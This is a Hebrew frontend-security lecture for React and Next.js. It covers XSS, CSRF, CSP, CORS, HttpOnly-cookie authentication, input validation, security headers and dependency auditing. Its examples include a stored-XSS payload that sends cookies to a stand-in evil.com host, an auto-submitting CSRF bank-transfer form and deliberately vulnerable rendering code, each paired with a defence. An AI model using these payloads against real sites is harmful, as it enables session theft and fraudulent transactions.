לדלג לתוכן

11.1 אבטחת פרונטאנד הרצאה

אבטחת פרונטאנד - Frontend Security

אבטחת מידע באפליקציות ווב היא אחד הנושאים החשובים ביותר בפיתוח מודרני. התקפות על צד הלקוח יכולות לחשוף מידע רגיש, לפגוע במשתמשים ולגרום נזק עסקי חמור. בשיעור זה נלמד על ההתקפות הנפוצות ביותר וכיצד למנוע אותן.


סקריפטים בין-אתריים - XSS (Cross-Site Scripting)

התקפת XSS מתרחשת כאשר תוקף מצליח להזריק קוד JavaScript זדוני לדף ווב שמוצג למשתמשים אחרים. זו אחת ההתקפות הנפוצות ביותר.

סוגי XSS

Stored XSS - הקוד הזדוני נשמר בשרת (למשל בתגובה בפורום) ומוצג לכל משתמש:

// דוגמה לקוד פגיע - הצגת תוכן מהשרת ללא סינון
function Comment({ comment }: { comment: { text: string } }) {
  // לעולם אל תעשו את זה!
  return <div dangerouslySetInnerHTML={{ __html: comment.text }} />;
}

// התוקף שומר תגובה עם תוכן זדוני:
// <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Reflected XSS - הקוד הזדוני מגיע כחלק מה-URL ומוחזר בתגובת השרת:

https://example.com/search?q=<script>alert('XSS')</script>

DOM-based XSS - הקוד הזדוני מבוצע ישירות בצד הלקוח ללא מעורבות השרת:

// קוד פגיע - שימוש ב-URL ללא סינון
function SearchPage() {
  const params = new URLSearchParams(window.location.search);
  const query = params.get('q') || '';

  // פגיע! הקלט מוזרק ישירות ל-DOM
  document.getElementById('results')!.innerHTML = `תוצאות עבור: ${query}`;

  return null;
}

מניעת XSS בריאקט

ריאקט מספקת הגנה מובנית מפני XSS - כל תוכן שמוזרק ל-JSX עובר אוטומטית sanitization:

function SafeComponent({ userInput }: { userInput: string }) {
  // בטוח! ריאקט עושה escape אוטומטי
  return <div>{userInput}</div>;
  // אם userInput הוא "<script>alert('xss')</script>"
  // ריאקט ימיר את זה ל: &lt;script&gt;alert('xss')&lt;/script&gt;
}

השימוש המסוכן ב-dangerouslySetInnerHTML:

// אם חייבים להציג HTML - תמיד לסנן עם ספריית sanitization
import DOMPurify from 'dompurify';

function RichContent({ html }: { html: string }) {
  const sanitizedHTML = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
    ALLOWED_ATTR: ['href', 'target'],
  });

  return <div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />;
}

התקנת DOMPurify:

npm install dompurify
npm install -D @types/dompurify

זיוף בקשות בין-אתריות - CSRF (Cross-Site Request Forgery)

התקפת CSRF מנצלת את האמון שיש לשרת בדפדפן של המשתמש. התוקף יוצר דף שמבצע בקשה לאתר היעד, והדפדפן מצרף אוטומטית את העוגיות של המשתמש.

כיצד CSRF עובד

<!-- דף זדוני של התוקף -->
<html>
  <body>
    <!-- הטופס הזה ישלח בקשה לבנק עם העוגיות של המשתמש -->
    <form action="https://bank.com/transfer" method="POST" id="evil-form">
      <input type="hidden" name="to" value="attacker-account" />
      <input type="hidden" name="amount" value="10000" />
    </form>
    <script>document.getElementById('evil-form').submit();</script>
  </body>
</html>

מניעת CSRF

שימוש ב-CSRF Tokens:

// השרת מייצר token ייחודי לכל session
// הלקוח שולח את ה-token בכל בקשה

async function makeSecureRequest(url: string, data: unknown) {
  // קבלת ה-CSRF token מהשרת
  const csrfToken = document.querySelector<HTMLMetaElement>(
    'meta[name="csrf-token"]'
  )?.content;

  const response = await fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken || '',
    },
    credentials: 'include', // שליחת עוגיות
    body: JSON.stringify(data),
  });

  return response.json();
}

הגדרת עוגיות עם SameSite:

// בשרת (Next.js API Route)
import { NextResponse } from 'next/server';

export async function POST(request: Request) {
  const response = NextResponse.json({ success: true });

  response.cookies.set('session', 'token-value', {
    httpOnly: true,        // מונע גישה מ-JavaScript
    secure: true,          // רק ב-HTTPS
    sameSite: 'strict',    // מונע שליחה מאתרים אחרים
    maxAge: 60 * 60 * 24,  // יום אחד
    path: '/',
  });

  return response;
}

מדיניות אבטחת תוכן - Content Security Policy (CSP)

CSP הוא מנגנון שמאפשר לשרת להגדיר מאילו מקורות הדפדפן רשאי לטעון משאבים. זה מוסיף שכבת הגנה משמעותית מפני XSS.

// next.config.js - הגדרת CSP ב-Next.js
const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'nonce-{NONCE}'",
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self' https://fonts.gstatic.com",
              "connect-src 'self' https://api.example.com",
              "frame-ancestors 'none'",
              "base-uri 'self'",
              "form-action 'self'",
            ].join('; '),
          },
        ],
      },
    ];
  },
};

module.exports = nextConfig;

הסבר ההנחיות העיקריות

  • default-src - מקור ברירת מחדל לכל סוגי המשאבים
  • script-src - מאילו מקורות ניתן לטעון סקריפטים
  • style-src - מאילו מקורות ניתן לטעון סגנונות
  • img-src - מאילו מקורות ניתן לטעון תמונות
  • connect-src - לאילו כתובות ניתן לבצע בקשות (fetch, WebSocket)
  • frame-ancestors - מי רשאי להטמיע את הדף ב-iframe

שיתוף משאבים בין מקורות - CORS (Cross-Origin Resource Sharing)

CORS הוא מנגנון שמאפשר לשרת לציין מאילו דומיינים אחרים ניתן לגשת למשאבים שלו.

מה זה Origin?

https://example.com:443/path
|______|____________|___|
protocol   host     port

// שני URLs עם אותו origin:
https://example.com/page1
https://example.com/page2

// origins שונים:
https://example.com
https://api.example.com    // subdomain שונה
http://example.com         // פרוטוקול שונה
https://example.com:8080   // פורט שונה

הגדרת CORS בשרת

// Next.js API Route עם CORS
import { NextRequest, NextResponse } from 'next/server';

const ALLOWED_ORIGINS = [
  'https://myapp.com',
  'https://staging.myapp.com',
];

export async function GET(request: NextRequest) {
  const origin = request.headers.get('origin') || '';

  const response = NextResponse.json({ data: 'some data' });

  if (ALLOWED_ORIGINS.includes(origin)) {
    response.headers.set('Access-Control-Allow-Origin', origin);
    response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    response.headers.set('Access-Control-Allow-Credentials', 'true');
    response.headers.set('Access-Control-Max-Age', '86400');
  }

  return response;
}

// טיפול ב-preflight request
export async function OPTIONS(request: NextRequest) {
  const origin = request.headers.get('origin') || '';

  if (ALLOWED_ORIGINS.includes(origin)) {
    return new NextResponse(null, {
      status: 204,
      headers: {
        'Access-Control-Allow-Origin': origin,
        'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
        'Access-Control-Allow-Headers': 'Content-Type, Authorization',
        'Access-Control-Allow-Credentials': 'true',
        'Access-Control-Max-Age': '86400',
      },
    });
  }

  return new NextResponse(null, { status: 403 });
}

דפוסי אימות מאובטחים - Secure Authentication Patterns

אחסון טוקנים - היכן לשמור?

// לא מומלץ - localStorage חשוף להתקפות XSS
localStorage.setItem('token', 'my-jwt-token');

// לא מומלץ - sessionStorage גם חשוף
sessionStorage.setItem('token', 'my-jwt-token');

// מומלץ - HttpOnly Cookie (לא נגיש מ-JavaScript)
// ההגדרה נעשית בצד השרת:
// Set-Cookie: token=my-jwt-token; HttpOnly; Secure; SameSite=Strict

דפוס אימות מאובטח עם HttpOnly Cookies

// שירות אימות בצד הלקוח
const authService = {
  async login(email: string, password: string) {
    const response = await fetch('/api/auth/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include', // חשוב! שולח ומקבל עוגיות
      body: JSON.stringify({ email, password }),
    });

    if (!response.ok) {
      throw new Error('Login failed');
    }

    // ה-token נשמר אוטומטית כ-HttpOnly cookie
    return response.json();
  },

  async logout() {
    await fetch('/api/auth/logout', {
      method: 'POST',
      credentials: 'include',
    });
  },

  async getUser() {
    const response = await fetch('/api/auth/me', {
      credentials: 'include',
    });

    if (!response.ok) return null;
    return response.json();
  },
};
// Next.js API Route - Login
import { NextResponse } from 'next/server';
import { SignJWT } from 'jose';

export async function POST(request: Request) {
  const { email, password } = await request.json();

  // אימות המשתמש מול מסד הנתונים
  const user = await authenticateUser(email, password);
  if (!user) {
    return NextResponse.json(
      { error: 'Invalid credentials' },
      { status: 401 }
    );
  }

  // יצירת JWT
  const token = await new SignJWT({ userId: user.id, role: user.role })
    .setProtectedHeader({ alg: 'HS256' })
    .setExpirationTime('1h')
    .sign(new TextEncoder().encode(process.env.JWT_SECRET));

  const response = NextResponse.json({ user: { id: user.id, name: user.name } });

  // הגדרת העוגייה המאובטחת
  response.cookies.set('auth-token', token, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'lax',
    maxAge: 60 * 60, // שעה
    path: '/',
  });

  return response;
}

רענון טוקנים - Refresh Token Pattern

// Middleware שבודק ומרענן טוקנים
import { NextRequest, NextResponse } from 'next/server';

export async function middleware(request: NextRequest) {
  const authToken = request.cookies.get('auth-token')?.value;
  const refreshToken = request.cookies.get('refresh-token')?.value;

  if (!authToken && refreshToken) {
    // ניסיון לרענן את הטוקן
    try {
      const response = await fetch(`${request.nextUrl.origin}/api/auth/refresh`, {
        method: 'POST',
        headers: { Cookie: `refresh-token=${refreshToken}` },
      });

      if (response.ok) {
        const newResponse = NextResponse.next();
        // העתקת העוגיות החדשות מהתגובה
        const setCookie = response.headers.get('set-cookie');
        if (setCookie) {
          newResponse.headers.set('set-cookie', setCookie);
        }
        return newResponse;
      }
    } catch {
      // הרענון נכשל - ניתוב להתחברות
    }

    return NextResponse.redirect(new URL('/login', request.url));
  }

  if (!authToken) {
    return NextResponse.redirect(new URL('/login', request.url));
  }

  return NextResponse.next();
}

סניטציה ואימות קלט - Input Sanitization and Validation

אימות בצד הלקוח עם Zod

import { z } from 'zod';

const userInputSchema = z.object({
  name: z
    .string()
    .min(2, 'שם חייב להכיל לפחות 2 תווים')
    .max(50, 'שם לא יכול להכיל יותר מ-50 תווים')
    .regex(/^[\p{L}\s'-]+$/u, 'שם יכול להכיל רק אותיות, רווחים ומקפים'),

  email: z
    .string()
    .email('כתובת אימייל לא תקינה')
    .toLowerCase(),

  age: z
    .number()
    .int('גיל חייב להיות מספר שלם')
    .min(13, 'גיל מינימלי הוא 13')
    .max(120, 'גיל לא תקין'),

  website: z
    .string()
    .url('כתובת URL לא תקינה')
    .optional(),

  bio: z
    .string()
    .max(500, 'ביוגרפיה לא יכולה לעלות על 500 תווים')
    .transform((val) => val.replace(/<[^>]*>/g, '')) // הסרת תגיות HTML
    .optional(),
});

type UserInput = z.infer<typeof userInputSchema>;

// שימוש באימות
function validateUserInput(data: unknown): UserInput {
  return userInputSchema.parse(data);
}

סניטציה של פלט

// פונקציית escape בסיסית
function escapeHTML(str: string): string {
  const escapeMap: Record<string, string> = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };

  return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}

// סניטציה של URLs - מניעת javascript: protocol
function sanitizeURL(url: string): string {
  try {
    const parsed = new URL(url);
    if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
      return '#';
    }
    return parsed.toString();
  } catch {
    return '#';
  }
}

// שימוש בקומפוננטה
function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
  return (
    <a href={sanitizeURL(href)} rel="noopener noreferrer">
      {children}
    </a>
  );
}

HTTPS וכותרות אבטחה - HTTPS and Security Headers

כותרות אבטחה חשובות

// next.config.js - הוספת כותרות אבטחה
const securityHeaders = [
  {
    // מונע מהדפדפן לנחש את סוג התוכן
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    // מונע הצגת האתר ב-iframe (הגנה מפני clickjacking)
    key: 'X-Frame-Options',
    value: 'DENY',
  },
  {
    // מפעיל מצב XSS filtering בדפדפנים ישנים
    key: 'X-XSS-Protection',
    value: '1; mode=block',
  },
  {
    // מאלץ HTTPS
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload',
  },
  {
    // שולט במידע שנשלח ב-Referer header
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin',
  },
  {
    // שולט בגישה ל-APIs של הדפדפן
    key: 'Permissions-Policy',
    value: 'camera=(), microphone=(), geolocation=(self), interest-cohort=()',
  },
];

const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: securityHeaders,
      },
    ];
  },
};

module.exports = nextConfig;

אבטחת תלויות - npm audit and Dependency Security

בדיקת פגיעויות

# בדיקת פגיעויות בתלויות
npm audit

# תיקון אוטומטי של פגיעויות
npm audit fix

# תיקון שעלול לשבור תאימות (שדרוג major versions)
npm audit fix --force

# הצגת דוח מפורט
npm audit --json

כלים לאבטחת תלויות

# התקנת Snyk לסריקת פגיעויות
npm install -g snyk
snyk test

# שימוש ב-Socket.dev לזיהוי חבילות זדוניות
# (מותקן כ-GitHub App)

שיטות עבודה מומלצות

// package.json - נעילת גרסאות
{
  "dependencies": {
    "react": "18.2.0",
    "next": "14.1.0"
  },
  "overrides": {
    "vulnerable-package": "2.0.1"
  }
}
// .npmrc - הגדרות אבטחה
// ignore-scripts=true  // מונע הרצת סקריפטים אחרי התקנה
// audit=true           // בדיקת אבטחה אוטומטית בכל npm install

בדיקת אבטחה אוטומטית ב-CI

# .github/workflows/security.yml
name: Security Audit
on:
  schedule:
    - cron: '0 0 * * 1' # כל יום שני
  push:
    branches: [main]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm audit --audit-level=high
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

רשימת בדיקת אבטחה - Security Checklist

להלן רשימה של בדיקות אבטחה שכדאי לבצע בכל פרויקט:

  • אין שימוש ב-dangerouslySetInnerHTML ללא סניטציה
  • כל הקלט מאומת בצד הלקוח ובצד השרת
  • טוקנים נשמרים ב-HttpOnly cookies ולא ב-localStorage
  • מוגדרות כותרות אבטחה (CSP, HSTS, X-Frame-Options)
  • CORS מוגדר עם רשימת origins מפורשת (לא wildcard)
  • כל הבקשות ב-HTTPS
  • פגיעויות בתלויות נבדקות באופן שוטף
  • אין חשיפת מידע רגיש בקוד הלקוח (API keys, secrets)
  • ניהול שגיאות לא חושף מידע טכני למשתמש
  • הגנת CSRF מופעלת בכל הטפסים

סיכום

בשיעור זה למדנו על:

  • XSS - סוגי התקפות וכיצד ריאקט מגנה עלינו, שימוש ב-DOMPurify כשצריך HTML
  • CSRF - כיצד ההתקפה עובדת ומניעה באמצעות טוקנים ו-SameSite cookies
  • CSP - מדיניות שמגבילה מאילו מקורות ניתן לטעון משאבים
  • CORS - שיתוף משאבים בין דומיינים בצורה מבוקרת
  • אימות מאובטח - שימוש ב-HttpOnly cookies, רענון טוקנים
  • סניטציה ואימות - Zod לאימות, DOMPurify לסניטציה
  • כותרות אבטחה - הגנות נוספות ברמת HTTP
  • אבטחת תלויות - npm audit וסריקה אוטומטית

אבטחה היא לא דבר חד-פעמי - זהו תהליך מתמשך שצריך להיות חלק מכל שלב בפיתוח.